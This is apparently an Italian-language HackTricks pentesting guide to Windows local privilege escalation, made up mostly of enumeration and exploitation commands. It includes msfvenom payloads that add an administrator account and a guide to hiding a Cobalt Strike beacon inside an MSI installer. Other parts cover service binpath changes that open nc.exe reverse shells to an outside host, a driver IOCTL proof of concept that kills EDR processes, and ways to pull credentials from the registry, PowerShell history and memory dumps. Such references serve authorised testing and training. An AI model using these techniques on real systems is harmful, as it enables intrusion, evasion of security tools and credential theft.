Windows Local Privilege Escalation

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Miglior strumento per cercare Windows local privilege escalation vectors: WinPEAS

Teoria iniziale di Windows

Token di accesso

Se non sai cosa sono i Windows Access Tokens, leggi la pagina seguente prima di continuare:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Controlla la pagina seguente per maggiori informazioni su ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Livelli di integrità

Se non sai cosa sono i livelli di integrità in Windows dovresti leggere la pagina seguente prima di continuare:

Integrity Levels

Controlli di sicurezza di Windows

Esistono diversi elementi in Windows che potrebbero impedirti di enumerare il sistema, eseguire eseguibili o perfino rilevare le tue attività. Dovresti leggere la seguente pagina ed enumerare tutti questi meccanismi di difesa prima di iniziare l’enumerazione per privilege escalation:

Windows Security Controls

Informazioni sul sistema

Enumerazione delle informazioni sulla versione

Controlla se la versione di Windows ha vulnerabilità note (verifica anche le patch applicate).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

Questo site è utile per cercare informazioni dettagliate sulle vulnerabilità di sicurezza di Microsoft. Questo database contiene più di 4.700 vulnerabilità di sicurezza, mostrando la massiccia superficie d’attacco che un ambiente Windows presenta.

Sul sistema

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas ha watson integrato)

Localmente con informazioni di sistema

Repo Github di exploits:

Ambiente

Ci sono credential/Juicy info salvate nelle variabili d’ambiente?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

Cronologia di PowerShell

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

File di trascrizione di PowerShell

Puoi imparare come attivarlo su https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

I dettagli delle esecuzioni della pipeline di PowerShell vengono registrati, comprendendo i comandi eseguiti, le invocazioni dei comandi e parti degli script. Tuttavia, i dettagli completi dell’esecuzione e i risultati dell’output potrebbero non essere catturati.

Per abilitarlo, segui le istruzioni nella sezione “Transcript files” della documentazione, scegliendo “Module Logging” invece di “Powershell Transcription”.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Per visualizzare gli ultimi 15 eventi dai log di PowersShell puoi eseguire:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Viene catturato un registro completo dell’attività e del contenuto dell’esecuzione dello script, garantendo che ogni blocco di codice sia documentato mentre viene eseguito. Questo processo preserva una completa traccia di audit di ogni attività, utile per le analisi forensi e per l’analisi di comportamenti malevoli. Documentando tutta l’attività al momento dell’esecuzione, vengono fornite informazioni dettagliate sul processo.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Gli eventi di logging per il Script Block si trovano nel Windows Event Viewer al percorso: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.
Per visualizzare gli ultimi 20 eventi puoi usare:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Impostazioni Internet

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Unità

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Puoi compromettere il sistema se gli aggiornamenti non vengono richiesti usando httpS ma http.

Inizi controllando se la rete usa un aggiornamento WSUS non-SSL eseguendo il seguente comando in cmd:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Oppure quanto segue in PowerShell:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

Se ricevi una risposta come una di queste:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

E se HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer o Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" è uguale a 1.

Allora, è sfruttabile. Se l’ultima chiave di registro è uguale a 0, allora la voce WSUS sarà ignorata.

Per sfruttare queste vulnerabilità puoi usare strumenti come: Wsuxploit, pyWSUS - sono script exploit MiTM weaponizzati per iniettare aggiornamenti ‘falsi’ nel traffico WSUS non-SSL.

Read the research here:

WSUS CVE-2020-1013

Read the complete report here.
Fondamentalmente, questa è la falla che questo bug sfrutta:

Se abbiamo la possibilità di modificare il proxy dell’utente locale, e Windows Updates usa il proxy configurato nelle impostazioni di Internet Explorer, allora abbiamo la possibilità di eseguire PyWSUS localmente per intercettare il nostro traffico e eseguire codice come utente elevato sul nostro asset.

Inoltre, poiché il servizio WSUS usa le impostazioni dell’utente corrente, userà anche il suo store dei certificati. Se generiamo un certificato autofirmato per il nome host WSUS e aggiungiamo questo certificato nello store dei certificati dell’utente corrente, saremo in grado di intercettare sia il traffico WSUS HTTP che HTTPS. WSUS non usa meccanismi simili a HSTS per implementare una validazione di tipo fiducia-al-primo-utilizzo sul certificato. Se il certificato presentato è ritenuto affidabile dall’utente e ha il nome host corretto, verrà accettato dal servizio.

Puoi sfruttare questa vulnerabilità usando lo strumento WSUSpicious (una volta che sarà rilasciato).

Auto-updater di terze parti e Agent IPC (local privesc)

Molti agent enterprise espongono una surface IPC su localhost e un canale di aggiornamento privilegiato. Se l’enrollment può essere forzato verso un server dell’attaccante e l’updater si fida di una rogue root CA o di controlli di firma deboli, un utente locale può consegnare un MSI malevolo che il servizio SYSTEM installa. Vedi una tecnica generalizzata (basata sulla catena Netskope stAgentSvc – CVE-2025-0309) qui:

Abusing Auto Updaters And Ipc

KrbRelayUp

Una vulnerabilità di local privilege escalation esiste in ambienti Windows domain in condizioni specifiche. Queste condizioni includono ambienti in cui la LDAP signing non è applicata, gli utenti possiedono diritti che permettono loro di configurare la Resource-Based Constrained Delegation (RBCD), e la capacità per gli utenti di creare computer all’interno del domain. È importante notare che questi requisiti sono soddisfatti con le impostazioni di default.

Find the exploit in https://github.com/Dec0ne/KrbRelayUp

Per maggiori informazioni sul flusso dell’attacco consulta https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Se queste 2 chiavi di registro sono abilitate (valore 0x1), allora utenti di qualsiasi livello di privilegio possono installare (eseguire) *.msi file come NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Se hai una sessione meterpreter puoi automatizzare questa tecnica usando il modulo exploit/windows/local/always_install_elevated

PowerUP

Usa il comando Write-UserAddMSI di power-up per creare nella directory corrente un binario Windows MSI per escalare i privilegi. Questo script scrive un installer MSI precompilato che richiede l’aggiunta di un utente/gruppo (quindi avrai bisogno di accesso GIU):

Write-UserAddMSI

Esegui semplicemente il binario creato per elevare i privilegi.

MSI Wrapper

Leggi questo tutorial per imparare come creare un MSI wrapper usando questi strumenti. Nota che puoi avvolgere un “.bat” file se vuoi solo eseguire righe di comando

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Genera con Cobalt Strike o Metasploit un nuovo Windows EXE TCP payload in C:\privesc\beacon.exe
  • Apri Visual Studio, seleziona Create a new project e digita “installer” nella casella di ricerca. Seleziona il progetto Setup Wizard e clicca Next.
  • Dai al progetto un nome, ad esempio AlwaysPrivesc, usa C:\privesc per la posizione, seleziona place solution and project in the same directory, e clicca Create.
  • Continua a cliccare Next fino ad arrivare al passo 3 di 4 (scegliere i file da includere). Clicca Add e seleziona il payload Beacon che hai appena generato. Poi clicca Finish.
  • Evidenzia il progetto AlwaysPrivesc in Solution Explorer e nelle Properties, cambia TargetPlatform da x86 a x64.
  • Ci sono altre proprietà che puoi modificare, come Author e Manufacturer, che possono rendere l’app installata più legittima.
  • Fai clic destro sul progetto e seleziona View > Custom Actions.
  • Fai clic destro su Install e seleziona Add Custom Action.
  • Fai doppio clic su Application Folder, seleziona il tuo file beacon.exe e clicca OK. Questo garantirà che il payload beacon venga eseguito non appena l’installer viene avviato.
  • Nelle Custom Action Properties, cambia Run64Bit in True.
  • Infine, compilalo.
  • Se viene mostrato l’avviso File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86', assicurati di impostare la piattaforma su x64.

MSI Installation

Per eseguire l’installazione del file .msi malevolo in background:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Per sfruttare questa vulnerabilità puoi usare: exploit/windows/local/always_install_elevated

Antivirus e rilevatori

Impostazioni di Audit

Queste impostazioni decidono cosa viene registrato, quindi dovresti prestare attenzione

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, è interessante sapere dove vengono inviati i log

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS è progettato per la gestione delle password dell’amministratore locale, garantendo che ogni password sia unica, randomizzata e regolarmente aggiornata sui computer membri di un dominio. Queste password sono archiviate in modo sicuro in Active Directory e possono essere accessibili solo dagli utenti a cui sono state concesse autorizzazioni sufficienti tramite ACLs, permettendo loro di visualizzare le password dell’amministratore locale se autorizzati.

LAPS

WDigest

Se attivo, le password in plain-text vengono memorizzate in LSASS (Local Security Authority Subsystem Service).
Maggiori informazioni su WDigest in questa pagina.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

A partire da Windows 8.1, Microsoft ha introdotto una protezione avanzata per la Local Security Authority (LSA) per bloccare i tentativi di processi non attendibili di leggere la sua memoria o di iniettare codice, aumentando la sicurezza del sistema.
More info about LSA Protection here

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard è stato introdotto in Windows 10. Il suo scopo è proteggere le credenziali memorizzate su un dispositivo contro minacce come gli attacchi pass-the-hash.| More info about Credentials Guard here.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials vengono autenticate dalla Local Security Authority (LSA) e utilizzate dai componenti del sistema operativo. Quando i dati di logon di un utente vengono autenticati da un security package registrato, le credenziali di dominio per l’utente vengono tipicamente stabilite.
More info about Cached Credentials here.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Utenti & Gruppi

Enumerare Utenti & Gruppi

Dovresti verificare se uno qualsiasi dei gruppi di cui fai parte ha permessi interessanti.

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Gruppi privilegiati

Se appartieni a un gruppo privilegiato potresti essere in grado di escalate privileges. Scopri i gruppi privilegiati e come abusarne per escalate privileges qui:

Privileged Groups

Token manipulation

Scopri di più su cos’è un token in questa pagina: Windows Tokens.
Consulta la pagina seguente per scoprire token interessanti e come abusarne:

Abusing Tokens

Utenti loggati / Sessioni

qwinsta
klist sessions

Cartelle home

dir C:\Users
Get-ChildItem C:\Users

Politica delle password

net accounts

Ottieni il contenuto degli appunti

powershell -command "Get-Clipboard"

Processi in esecuzione

Permessi di file e cartelle

Prima di tutto, elencando i processi controlla la presenza di password nella command line del processo.
Controlla se puoi sovrascrivere qualche binary in esecuzione o se hai permessi di scrittura sulla cartella dei binary per sfruttare possibili DLL Hijacking attacks:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Controlla sempre se sono presenti electron/cef/chromium debuggers running, you could abuse it to escalate privileges.

Verifica dei permessi dei binari dei processi

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Controllo dei permessi delle cartelle dei binari dei processi (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

Puoi creare un memory dump di un processo in esecuzione usando procdump di sysinternals. Servizi come FTP hanno le credentials in clear text in memory; prova a effettuare un dump della memoria e leggere le credentials.

procdump.exe -accepteula -ma <proc_name_tasklist>

Applicazioni GUI insicure

Le applicazioni eseguite come SYSTEM possono permettere a un utente di avviare un CMD o di esplorare directory.

Esempio: “Windows Help and Support” (Windows + F1), cerca “command prompt”, clicca su “Click to open Command Prompt”

Servizi

Service Triggers let Windows start a service when certain conditions occur (named pipe/RPC endpoint activity, ETW events, IP availability, device arrival, GPO refresh, etc.). Anche senza i diritti SERVICE_START spesso puoi avviare servizi privilegiati attivando i loro triggers. Vedi le tecniche di enumerazione e attivazione qui:

Service Triggers

Ottieni l’elenco dei servizi:

net start
wmic service list brief
sc query
Get-Service

Permessi

Puoi usare sc per ottenere informazioni su un servizio

sc qc <service_name>

È consigliabile avere il binario accesschk di Sysinternals per verificare il livello di privilegi richiesto per ciascun servizio.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

È consigliabile verificare se “Authenticated Users” possono modificare qualsiasi servizio:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

You can download accesschk.exe for XP for here

Abilitare il servizio

Se ricevi questo errore (per esempio con SSDPSRV):

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

Puoi abilitarlo usando

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Tieni presente che il servizio upnphost dipende da SSDPSRV per funzionare (per XP SP1)

Un’altra soluzione a questo problema è eseguire:

sc.exe config usosvc start= auto

Modificare il percorso del file eseguibile del servizio

Nello scenario in cui il gruppo “Authenticated users” possiede SERVICE_ALL_ACCESS su un servizio, è possibile modificare il file eseguibile del servizio. Per modificare ed eseguire sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Riavvia il servizio

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

I privilegi possono essere elevati tramite le seguenti autorizzazioni:

  • SERVICE_CHANGE_CONFIG: Consente la riconfigurazione del binario del servizio.
  • WRITE_DAC: Abilita la riconfigurazione delle autorizzazioni, consentendo di modificare le configurazioni del servizio.
  • WRITE_OWNER: Permette l’acquisizione della proprietà e la riconfigurazione delle autorizzazioni.
  • GENERIC_WRITE: Conferisce la possibilità di modificare le configurazioni del servizio.
  • GENERIC_ALL: Conferisce anch’esso la possibilità di modificare le configurazioni del servizio.

Per il rilevamento e lo sfruttamento di questa vulnerabilità, può essere utilizzato exploit/windows/local/service_permissions.

Permessi deboli sui binari dei servizi

Verifica se puoi modificare il binario eseguito da un servizio o se hai permessi di scrittura sulla cartella dove si trova il binario (DLL Hijacking).
Puoi ottenere tutti i binari eseguiti da un servizio usando wmic (non in system32) e verificare i tuoi permessi con icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

Puoi anche usare sc e icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Permessi di modifica del registro dei servizi

Dovresti verificare se puoi modificare qualsiasi registro dei servizi.
Puoi controllare i tuoi permessi sul registro dei servizi eseguendo:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Bisogna verificare se Authenticated Users o NT AUTHORITY\INTERACTIVE possiedono i permessi FullControl. In tal caso, il binario eseguito dal servizio può essere modificato.

Per cambiare il Path del binario eseguito:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Services registry AppendData/AddSubdirectory permissions

Se hai questo permesso su un registro significa che puoi creare sotto-registri da questo. Nel caso dei servizi di Windows questo è sufficiente per eseguire codice arbitrario:

AppendData/AddSubdirectory permission over service registry

Unquoted Service Paths

Se il percorso a un eseguibile non è racchiuso tra virgolette, Windows proverà a eseguire ogni porzione che precede uno spazio.

For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Elenca tutti i percorsi di servizio non racchiusi tra virgolette, escludendo quelli appartenenti ai servizi Windows integrati:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Puoi rilevare e sfruttare questa vulnerabilità con metasploit: exploit/windows/local/trusted\_service\_path Puoi creare manualmente un service binary con metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Azioni di ripristino

Windows permette agli utenti di specificare azioni da intraprendere se un servizio fallisce. Questa funzionalità può essere configurata per puntare a un binario. Se questo binario è sostituibile, potrebbe essere possibile l’elevazione dei privilegi. Maggiori dettagli sono disponibili nella official documentation.

Applicazioni

Applicazioni installate

Verifica i permessi dei binari (magari puoi sovrascriverne uno ed elevare i privilegi) e delle cartelle (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Permessi di scrittura

Verifica se puoi modificare qualche file di configurazione per leggere un file speciale o se puoi modificare un binario che verrà eseguito da un account Administrator (schedtasks).

Un modo per trovare cartelle/file con permessi deboli nel sistema è eseguire:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Esecuzione all’avvio

Controlla se puoi sovrascrivere qualche voce del registro o binario che verrà eseguito da un altro utente.
Leggi la pagina seguente per saperne di più sulle interessanti posizioni autorun per ottenere l’elevazione dei privilegi:

Privilege Escalation with Autoruns

Driver

Cerca possibili driver di terze parti strani/vulnerabili

driverquery
driverquery.exe /fo table
driverquery /SI

Se un driver espone una primitive arbitraria di read/write a livello kernel (comune in IOCTL handler mal progettati), puoi escalare rubando un SYSTEM token direttamente dalla memoria kernel. Vedi la tecnica passo-passo qui:

Arbitrary Kernel Rw Token Theft

Abuso della mancanza di FILE_DEVICE_SECURE_OPEN su oggetti dispositivo (LPE + EDR kill)

Alcuni driver di terze parti firmati creano il loro device object con un SDDL rigoroso tramite IoCreateDeviceSecure ma dimenticano di impostare FILE_DEVICE_SECURE_OPEN in DeviceCharacteristics. Senza questo flag, la DACL di sicurezza non viene applicata quando il device viene aperto tramite un percorso che contiene un componente aggiuntivo, permettendo a qualsiasi utente non privilegiato di ottenere un handle usando un percorso namespace come:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (da un caso reale)

Una volta che un utente può aprire il device, gli IOCTL privilegiati esposti dal driver possono essere abusati per LPE e per la manomissione. Esempi di capacità osservate in the wild:

  • Restituire handle con pieno accesso a processi arbitrari (token theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser).
  • Accesso raw al disco in lettura/scrittura senza restrizioni (offline tampering, boot-time persistence tricks).
  • Terminare processi arbitrari, inclusi Protected Process/Light (PP/PPL), consentendo l’uccisione di AV/EDR da user land tramite il kernel.

Pattern PoC minimo (user mode):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

Mitigazioni per sviluppatori

  • Impostare sempre FILE_DEVICE_SECURE_OPEN quando si creano device object destinati a essere limitati da una DACL.
  • Validare il contesto del caller per operazioni privilegiate. Aggiungere controlli PP/PPL prima di permettere la terminazione di processi o il ritorno di handle.
  • Limitare gli IOCTLs (access masks, METHOD_*, validazione degli input) e considerare modelli con broker anziché privilegi kernel diretti.

Idee di rilevamento per i difensori

  • Monitorare gli open in user-mode di nomi di device sospetti (e.g., \ .\amsdk*) e specifiche sequenze IOCTL indicative di abuso.
  • Applicare la blocklist di driver vulnerabili di Microsoft (HVCI/WDAC/Smart App Control) e mantenere le proprie allow/deny lists.

PATH DLL Hijacking

If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.

Check permissions of all folders inside PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Per ulteriori informazioni su come sfruttare questo controllo:

Writable Sys Path +Dll Hijacking Privesc

Rete

Condivisioni

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Controlla la presenza di altri computer noti hardcoded nel hosts file

type C:\Windows\System32\drivers\etc\hosts

Interfacce di rete e DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Porte aperte

Controlla la presenza di servizi con accesso ristretto accessibili dall’esterno

netstat -ano #Opened ports?

Tabella di routing

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Tabella ARP

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall Rules

Consulta questa pagina per i comandi relativi al Firewall (elencare le regole, creare regole, disattivare, disattivare…)

Altri comandi per network enumeration qui

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Il binario bash.exe può anche essere trovato in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Se ottieni root puoi ascoltare su qualsiasi porta (la prima volta che usi nc.exe per ascoltare su una porta ti chiederà tramite GUI se nc deve essere consentito dal firewall).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Per avviare facilmente bash come root, puoi provare --default-user root

Puoi esplorare il filesystem WSL nella cartella C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Windows Credentials

Winlogon Credentials

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
